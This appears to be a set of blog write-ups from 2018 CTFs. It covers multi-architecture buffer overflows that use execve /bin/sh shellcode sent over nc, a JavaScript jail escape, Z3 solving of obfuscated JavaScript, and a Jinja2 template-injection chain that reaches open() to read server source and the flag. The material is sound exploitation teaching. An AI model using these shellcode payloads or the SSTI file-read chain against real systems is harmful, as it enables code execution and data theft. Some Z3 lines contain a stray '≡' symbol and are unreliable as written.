[ff81a049] --- SIGTRAP {si_signo=SIGTRAP, si_code=SI_KERNEL} ---

Now we just need some shellcode! Heading over to shell-storm we can grab a few that will work for these challenges.

Starting with one for x86, we get our first shell:

$ (python -c "from pwn import *; print '1\n' + 'A'*38 + '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'"; cat) | nc 52.30.206.11 7000
cat flag
midnight{pwn_all_the_x86_

We have our flag chunk, now let's go onto the next architecture - arm.

The organizers were nice enough to included qemu-arm with the challenge package, as well as a Docker setup to get up and running with the challenges quickly.

The same payload with shellcode specific to arm also popped a shell:

$ (python -c "from pwn import *; print '1\n' + 'A'*38 + '\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0e\x30\x01\x90\x49\x1a\x92\x1a\x08\x27\xc2\x51\x03\x37\x01\xdf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x00'"; cat) | nc 52.30.206.11 7001
cat flag
pwn_all_th3_4rm


Same story with mips (it took a while to find a working payload for this one):

(python -c "from pwn import *; print '1\n' + '\x90'*38 + '\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xf4\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf8\xaf\xa0\xff\xfc\x27\xa4\xff\xf4\x28\x05\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c'"; cat) | nc 52.30.206.11 7002
cat flag
_pWN_4ll_th3_m1p5}

All of the flag chunks together turned out to be the final flag:

midnight{pwn_all_the_x86_pwn_all_th3_4rm_pWN_4ll_th3_m1p5}


Jeil


Description:

You are awesome at breaking into stuff, how about breaking out?

Solves: 32
Service: nc web2.midnightsunctf.se 55542 | nc 34.244.177.217 55542
Download: https://s3-eu-west-1.amazonaws.com/dl.midnightsunctf.se/jeil.tar.gz
Author: avlidienbrunn


So this challenge is all about breaking out of a JavaScript jail. The source of this challenge may be found here: https://github.com/vitapluvia/writeups/blob/master/midnightSunCTF2018/jeil/jail.js_source.js.

This was the source included with the challenge, and it includes some template strings to generate a new instance of the server. To help with iteration, there's another upload including a fake flag to use during initial exploration: https://github.com/vitapluvia/writeups/blob/master/midnightSunCTF2018/jeil/jeil-example.js

An easy way to test this script out is to use Node.js.

To run it, just call the js file with Node (after installing the dependency readline):

$ npm i
$ node jeil-example.js
| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
|    Internal    |
|________|
       ||
(\__/) ||
(•ㅅ•) ||
/   づ

Code: AAAA
Unrecognized code.

readline.js:1021
            throw err;
            ^
123


With the naive input 'AAAA' as an example, we get an error thrown saying '123'. If we look in the code, this error occurs in three places:


Character black list:

if(new RegExp(/[\[\]\.\\\+\-\/;a-zA-Z{}`'"\s]/).test(code)){
  console.log("Unrecognized code.");
  throw 123;
  return;
}

Input length is not equal to 32:

if(!(code.length == 32)){
  console.log("Incorrect code length.");
  throw 123;
  return;
}

Evaluated code with "this.secretFuncUnguessable" prepended is not a function:

ret = eval("this.secretFuncUnguessable"+code);

if(typeof ret == "function"){
  if(ret.call(this,'foo', 'bar', 'baz') === true){
      console.log("FLAG{F4k3_Fl4g!!!}");
  }else{
      console.log("Incorrect code.");
  }
}else{
  console.log("Incorrect code.");
}
throw 123;


To reiterate the rules we need to pass for our payload:

  • needs to be exactly 32 bytes
  • chars must not be in regex /[\[\]\.\\\+\-\/;a-zA-Z{}`'"\s]/
  • evaluated "this.secretFuncUnguessable" + code must be a function type

The first two rules are simple to pass, the last is somewhat tricky.
If you remember from the source, "this.secretFuncUnguessable{{ENV_SECRET_0}}" is defined in the source, but we do not know ENV_SECRET_0, and we probably don't want to guess it.
Instead we can figure out how to call our own function to pass the last check.

We know that "this.secretFuncUnguessable" does not exist unless ENV_SECRET_0 is set to "".  We can use that assumption to our advantage by starting with the or operator in JavaScript.  this will return the second value (our code) if the first is undefined.  Here's a simple example:

> const foo = undefined;
> const result = foo || 'AAAA';
> result
'AAAA'

It's also easy to create a function in later versions of node without braces using the arrow function:

> () => 123
[Function]

We can create a simple function which returns true by comparing 1 against itself:

> (()=>1==1)()
true

Now we have a working payload, we just need to add some padding to make it 32 bytes:

> result = undefined || (()=>1==1)
> typeof result
'function'
> result()
true

With the padding:

||(()=>11111111111==11111111111)


There are many other variations that could be created such as:

||000000000000000000||(()=>1==1)
||00||00||00||00||00||(()=>1==1)
||(()=>1==1)||000000000000000000
||(((((((((((()=>1==1)))))))))))
||(()=>(()=>123)()==(()=>123)())
||(()=>1*1*1*1*1*1*1*1*1*1*1==1)
||(()=>0!=111111111111111111111)
||(()=>(()=>(()=>((0==0)))())())


Now if we try this against the sample server we get the fake flag!

$ echo '||(()=>11111111111==11111111111)' | node ./jeil-example.js

| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
|    Internal    |
|________|
       ||
(\__/) ||
(•ㅅ•) ||
/   づ

Code: ||(()=>11111111111==11111111111)
32
FLAG{F4k3_Fl4g!!!}


When this is run against the CTF server, we get the actual flag:

$ echo '||(()=>11111111111==11111111111)' | nc 34.244.177.217 55542

| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
|    Internal    |
|________|
       ||
(\__/) ||
(•ㅅ•) ||
/   づ

Code: midnight{f33lin_fr1sky_f0r_funky_funct10nz}

Wednesday, April 18, 2018

Byte Bandits CTF 2018 - laz3y (350)


In this challenge we're presented with a web server which contains a heavily obfuscated JavaScript file as one of it's resources.

We're going to jump into an intro of Z3 to solve parts of this challenge after some initial reversing.

If you would like to watch a better version of the topics discussed in this blog post, check out LiveOverflow's great video on "Using z3 to find a password and reverse obfuscated JavaScript" - https://www.youtube.com/watch?v=TpdDq56KH1I. It helped a lot when attempting to solve this challenge.


Reversing


Here's a snippet of the file which was beautified using the online service jsnice:

(function() {
    _0x13c3dd(this, function() {
        if (_0x15c2('0x7') === _0x15c2('0x7')) {
            var _0x42483f = new RegExp('function\x20*\x5c(\x20*\x5c)');
            var _0x43babc = new RegExp(_0x15c2('0x8'), 'i');
            var _0x53dbc9 = _0x4f7527(_0x15c2('0x4'));
            if (!_0x42483f[_0x15c2('0x5')](_0x53dbc9 + _0x15c2('0x6')) || !_0x43babc[_0x15c2('0x5')](_0x53dbc9 + 'input')) {
                if (_0x15c2('0x9') === _0x15c2('0x9')) {
                    _0x53dbc9('0');
                } else {
                    return !![];
                }
            } else {
                if ('CJMng' === _0x15c2('0xa')) {
                    _0x4f7527();
                } else {
                    return !![];
                }
            }
        } else {
            return function(_0x256bf0) {}[_0x15c2('0xb')](_0x15c2('0xc'))[_0x15c2('0xd')](_0x15c2('0xe'));
        }
    })();
}());

We can jump to potentially interesting parts of the code to find out what's going on.

One interesting part included a 'Flag{' string. This was used to build up the final flag, stored originally in a giant array of mixed snippets used for various reasons:

var _0x387a = ["GfKdJ", ... "slice", "tryingharder", "Flag{", "log", "Invalid Password", "pDsTn", "UOAuo", ... ];

There's another interesting part of the code which contains the variable 'solver' -- sounds like this may help us solve the challenge. It's also a hint mixed with the challenge title 'laz3y' referencing the Z3 SMT solver.

function solver(value) {
  if (!/[^nfTzhb_0FAiuctxlswa!]/[_0xd1e9[9]](value) &&
      value[29] == _0xd1e9[10] &&
      value[4] == value[8] &&
      value[10] == value[14] &&
      value[17] == _0xd1e9[11] &&
      value[4] == _0xd1e9[11] &&
      leng(value) &&
      crypto(value) &&
      a(value) &&
      b(value) &&
      c(value) &&
      d(value) &&
      f(value)) {
    if (_0x15c2("0x26") === _0x15c2("0x26")) {
      console[_0xd1e9[14]](_0xd1e9[12] + value + _0xd1e9[13]);
    } else {
      return !![];
    }
  } else {
    if (_0x15c2("0x27") !== "DbvWm") {
      /** @type {!Function} */
      var advancement = firstCall ? function() {
        if (fn) {
          var denies = fn[_0x15c2("0xd")](context, arguments);
          /** @type {null} */
          fn = null;
          return denies;
        }
      } : function() {
      };
      /** @type {boolean} */
      firstCall = ![];
      return advancement;
    } else {
      console[_0xd1e9[14]](_0xd1e9[15]);
    }
  }
}

Executing the script in a stub html file and looking at the following value we can see it's just a console.log pulled from one of the obscure array's:

console[_0xd1e9[14]](_0xd1e9[15]);
...
console['log']("Invalid Password");

The same is with the first condition after all the conditional checks:

console[_0xd1e9[14]](_0xd1e9[12] + value + _0xd1e9[13]);
...
console['log']("Flag{" + value + "}");


There are also a lot of false flows in this obfuscated code, so we can reduce this function to the following:

function solver(value) {
  if (!/[^nfTzhb_0FAiuctxlswa!]/.test(value) &&
    value[29] == "!" &&
    value[4] == value[8] &&
    value[17] == "_" &&
    value[4] == "_" &&
    leng(value) &&
    crypto(value) &&
    value[10] == value[14] &&
    a(value) &&
    b(value) &&
    c(value) &&
    d(value) &&
    f(value)) {
      console.log("Flag{" + value + "}");
  } else {
      console.log("Invalid Password");
  }
}

Now we need to analyze each one of these functions to make sure we can setup input to make it pass.

Starting with the interesting sounding function first 'crypto', isn't heavily related to cryptography:

function crypto(context) {
  var val = "";
  var row = context.slice(18, 29);
  var masks = [68, 16, 31, 28, 29, 4, 9, 21, 27, 84, 11, 114];

  for (var i = 0; i <= row.length; i++) {
    val += String.fromCharCode(row.charCodeAt(i) ^ masks[i]);
  }

  return val == "tryingharder";
}

Looking at this, we can tell it wants the result of "tryingharder" by xor'ing against a given mask.

Reversing this process, we'll get the expected value for part of the flag:

$ python
>>> from pwn import *
>>> masks = [68, 16, 31, 28, 29, 4, 9, 21, 27, 84, 11, 114]
>>> tryHarder = "tryingharder"
>>> ''.join([xor(tryHarder[i], masks[i]) for i in range(len(masks))])
'0bfuscati0n\x00'


Continuing with each function, we can inline any obvious values and write simple formulas for others (//X// comments represent known values to skip during the constraint solve):

190     value[29] == "!" &&           //X// payload[29]         = '!'
191     value[4] == value[8] &&       //X// 08 & 04             = '_'
192     value[17] == "_" &&           //X// payload[17]         = '_'
193     value[4] == "_" &&            //X// payload[4]          = '_'
194     leng(value) &&                //X// len(payload)       == 30
195     crypto(value) &&              //X// payload[18:29]     == 0bfuscati0n
196     value[10] == value[14] &&   // p[10] == p[14]
197     a(value) &&                 // p[3] - p[0] == 32 && p[5] - p[12] == 71
198     b(value) &&                   //X// p[12] == p[15] &&
199                                   //X// p[11] == "l" &&
200                                   //X// p[12] == "0" &&
201                                   //X// p[13] == "T" &&
202                                   //X// p[0]  == p[13]
203     c(value) &&                 // p[9] + p[6] - p[1] == 58;
204     d(value) &&                 // (p[0] * p[1] * p[2] * p[3]) / 128 === 767949;
205     f(value)) {                 // (p[5] * p[6] * p[7]) / 25 === 35581;


We only have five constraints to solve for!  With the other values, we get the following partial flag from the static analysis done so far:

T???_???_??l0T?0?_0bfuscati0n!



Z3 Solve


If you haven't heard of Z3 before, check out the Z3-Playground repo, it has some fantastic examples of how to use Z3 in general and for security related tasks.

Using the basic hello-world example from Z3-Playground we can add one constraint to see how Z3 works. We give it two variables a & b, then say a + b is equal to 1337, also b is above 20.

from z3 import *

a, b = BitVecs('a b', 32)
s = Solver()

s.add((a + b) == 1337)
s.add(b > 20)

if s.check() == sat:
    print s.model()
else:
    print 'Unsat'

Letting z3 solve for this, it will return input which satisfies these constraints:

$ python hello.py
[b = 21, a = 1316]

The values 21 and 1316 do sum to 1337, so it looks like this works!

Now we can get into solving this challenge!

Instead of using BitVecs for variables, we'll be using integer values representing characters.
Initializing the unknown flag, we use the z3 Int type:

flag = [Int(i) for i in xrange(30)]


If you remember from above, the important constraints we need to setup are:

196     value[10] == value[14] &&   // p[10] == p[14]
197     a(value) &&                 // p[3] - p[0] == 32 && p[5] - p[12] == 71
203     c(value) &&                 // p[9] + p[6] - p[1] == 58;
204     d(value) &&                 // (p[0] * p[1] * p[2] * p[3]) / 128 === 767949;
205     f(value)) {                 // (p[5] * p[6] * p[7]) / 25 === 35581;


Changing 'p' to 'flag' and wrapping a solve add around them will get us most of the way there:

s.add(flag[10] ≡ flag[14])
s.add(flag[3] - flag[0] ≡ 32)
s.add(flag[5] - flag[12] == 71)
s.add(flag[9] + flag[6] - flag[1] ≡ 58)
s.add((flag[0] * flag[1] * flag[2] * flag[3]) / 128 ≡ 767949)
s.add((flag[5] * flag[6] * flag[7]) / 25 ≡ 35581)

There are six constraints instead of five here, this is because line 197 was split into two separate constraints for readability.

We should also setup the parts of the flag we know about already:

partial = 'T???_???_??l0T?0?_0bfuscati0n!'

for x in range(len(partial)):
  if partial[x] is not '?':
    s.add(flag[x] ≡ ord(partial[x]))

And setup the flag to be within a printable range:

for x in range(0, 30):
  s.add(flag[x] >= ord('!') and flag[x] <= ord('z'))

With all of this setup, we could attempt to print the flag (converting ints to chars in the process):

if s.check() == sat:
  m = s.model()
  print 'Flag{' + ''.join([chr(m[x].as_long()) for x in flag]) + '}'
else:
  print 'Not Found.'

This yields:

Flag{That_wsA_/zl0Tz0z_0bfuscati0n!}

This is very close! But not there yet! There are a few errors to work out.
First part that seems off is the '/' character, it doesn't seem likely it would be in this flag and if it was, it wouldn't be in that position.

So for this we'll setup a constraint against it:

s.add(flag[9] != ord('/'))
...
Flag{Taht_wsA_(zl0Tz0z_0bfuscati0n!}

Now the slash character is fixed, but we have some other problems, Taht was switched, and wsA looks like the word 'was'. To fix the first word, we'll constrain the 'h' where it was:

s.add(flag[1] == ord('h'))
...
Flag{That_wAs_azl0Tz0z_0bfuscati0n!}

If we look at 'wAs_azl0T', it looks like the words 'was a lot' so there's a missing space between 'a' and 'lot', we'll add this with an underscore:

s.add(flag[10] == ord('_'))

Now when we run this we get the Flag!

Flag{That_wAs_a_l0T_0z_0bfuscati0n!}

This was the final Z3 client for the solve:

Sunday, April 8, 2018

Byte Bandits CTF 2018 - hard_to_hack (400)



This was another Jinja2 template injection challenge (they've been showing up a lot recently).
This time they denied access to properties such as '__mro__' and '__class__' which show up in top python SSTI tutorials. Here's a good example of one - Exploring SSTI in Jinja2

There's another writeup on this blog about Jinja2 injection using a similar method found above, from the BSidesSF 2017 CTF - Zumbo3

For this challenge, since we didn't have the properties found in the articles above, we had to get creative. The best way to get started with this is to jump into a local python terminal.


Initial Bug


Before we get into building the payload, the initial bug was found on a route in the web app which printed a user controlled string (config is a global we can check for with Jinja2 templates):

GET http://web.euristica.in/hard_to_hack/index?data={{config}}

<Config {'JSON_AS_ASCII': True, 'USE_X_SENDFILE': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_NAME': 'session', 'SESSION_REFRESH_EACH_REQUEST': True, 'LOGGER_HANDLER_POLICY': 'always', 'LOGGER_NAME': 'main', 'DEBUG': False, 'SECRET_KEY': None, 'EXPLAIN_TEMPLATE_LOADING': False, 'MAX_CONTENT_LENGTH': None, 'APPLICATION_ROOT': None, 'SERVER_NAME': None, 'PREFERRED_URL_SCHEME': 'http', 'JSONIFY_PRETTYPRINT_REGULAR': True, 'TESTING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'PROPAGATE_EXCEPTIONS': None, 'TEMPLATES_AUTO_RELOAD': None, 'TRAP_BAD_REQUEST_ERRORS': False, 'JSON_SORT_KEYS': True, 'JSONIFY_MIMETYPE': 'application/json', 'SESSION_COOKIE_HTTPONLY': True, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SESSION_COOKIE_SECURE': False, 'TRAP_HTTP_EXCEPTIONS': False}>

In some challenges, this is all you need! They'll load the flag into the secrets or some other area of the Jinja2 config, and you're done, but not on this one. It must've been somewhere on the filesystem, so we'll need to call open or system somehow...

Some gadgets to watch out for:

<built-in function globals>   # check for any useful variables or flags in the global scope
<built-in function locals>    # check for any useful variables or flags in the local scope
<built-in function dir>       # introspect a python object, useful for finding other gadgets
<built-in function open>      # read a file from the file system, such as a flag or the main.py source
<module 'sys' (built-in)>     # leak 'version' of python or 'argv' used
<module 'os' from ' ... >     # run system commands using system() call
<module 'commands' ... >      # run system commands using getoutput() call
func_code                     # if this is available, it could leak the version of python used
func_globals                  # get access to a function's global variables
__builtins__                  # very useful standard functions pulled in by the python runtime
__reduce__ / __reduce_ex__    # create new code objects using pickle

This is not an exhaustive list, but some of these may be useful.


Python Reduce SSTI Gadget


Not sure if this technique has been used before, but it worked well on this challenge.

First we need a primitive type to call __reduce__ / __reduce_ex__ on. This was done by grabbing the __str__ value of an undefined variable (this could've been done on an int, str, object, etc.):

>>> x = None

>>> x.__reduce__(42)
(<function __newobj__ at 0x10038ac80>, (<type 'NoneType'>,), None, None, None)

>>> x.__reduce__(42)[0]
<function __newobj__ at 0x10038ac80>

>>> dir(a.__reduce__(42)[0])
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']

Now we have some useful variables to play with, a couple nice ones for this challenge:

# Leak python version (good for syncing local version of python to dictionary value offsets):
>>> x.__reduce__(42)[0].func_code
<code object __newobj__ at 0x7fa69d4a7530, file "/usr/lib/python2.7/copy_reg.py", line 92>

# Function globals (good to use as gadgets)
>>> x.__reduce__(42)[0].func_globals.values()
[{}, <function add_extension at 0x7fa69d4a5c08>, <type 'classobj'>, {}, ...

Using .keys() and .values() on the object we can get a list of all the properties it has. If we index into these values, we'll be able to call any objects that exist in that dictionary.

For objects such as locals(), globals(), dir(), system(), vars() or open(), it provides us with a huge step forward.

Looking through this we can find the '__builtins__' key on index 12:

>>> x.__reduce__(42)[0].func_globals.keys()[12]
'__builtins__'

Using '__builtins__' and checking out the values, we can also see open, this will allow us to read any file the server has access to!

>>> x.__reduce__(42)[0].func_globals.values()[12].keys()
[..., 'LookupError', 'open', 'quit', 'basestring', ...]

>>> x.__reduce__(42)[0].func_globals.values()[12].values()[80]


The index for open is 80 here, where the server was 79, this sometimes differs, so you'll need to check the server when experimenting with these values.

Now we just use open and read in a stub flag for now:

$ echo -en 'FLAG{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}' > flag
$ python
>>> x = None
>>> x.__reduce__(42)[0].func_globals.values()[12].values()[80]('./flag').read()
'FLAG{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}'


Leaking the Source


Now trying this on the server was the same (with a small adjustment for the open index). It also seemed like a good idea to dump the source before leaving.

This was the result of finding the open() function in the function globals, reading in the server source:

{{x.__str__.__reduce__(42)[0].func_globals.values()[12].values()[79]('./main.py').read()}}

from flask import Flask , request, render_template,render_template_string

app=Flask(__name__)

@app.route('/')
def root():
    return render_template('home.html')

@app.route('/index',methods=['POST','GET'])
def homepage():
  data='{{4}}'

  blacklist = ['__class__','class','mro','subclass','request[','shutdown','SHUTDOWN','server']

  try:
    data=request.form['data']
  except:
    data=request.args.get('data')

  try:
    for bad_string in blacklist:
      if  bad_string in data:
        return '>h1<HACK ATTEMPT Detected>/h1<{}'
  except:
    return '>h1<Sigh! A request is needed with 'data' parameter'

  try:
    return render_template_string(data)
  except:
    return ('>h1<Please don\'t mess with me>/h1<')

if __name__ == '__main__':
  app.run(debug=True)



Final Payload


Running the last payload with './flag' on their web server we drop the final flag:

http://web.euristica.in/hard_to_hack/index?data={{x.__str__.__reduce__(42)[0].func_globals.values()[12].values()[79]('./flag').read()}}

flag{BlackListing_N3Ver_H3lp3d_An40ne}

(First Image in post from - http://www.taleofgenji.org/ota.html)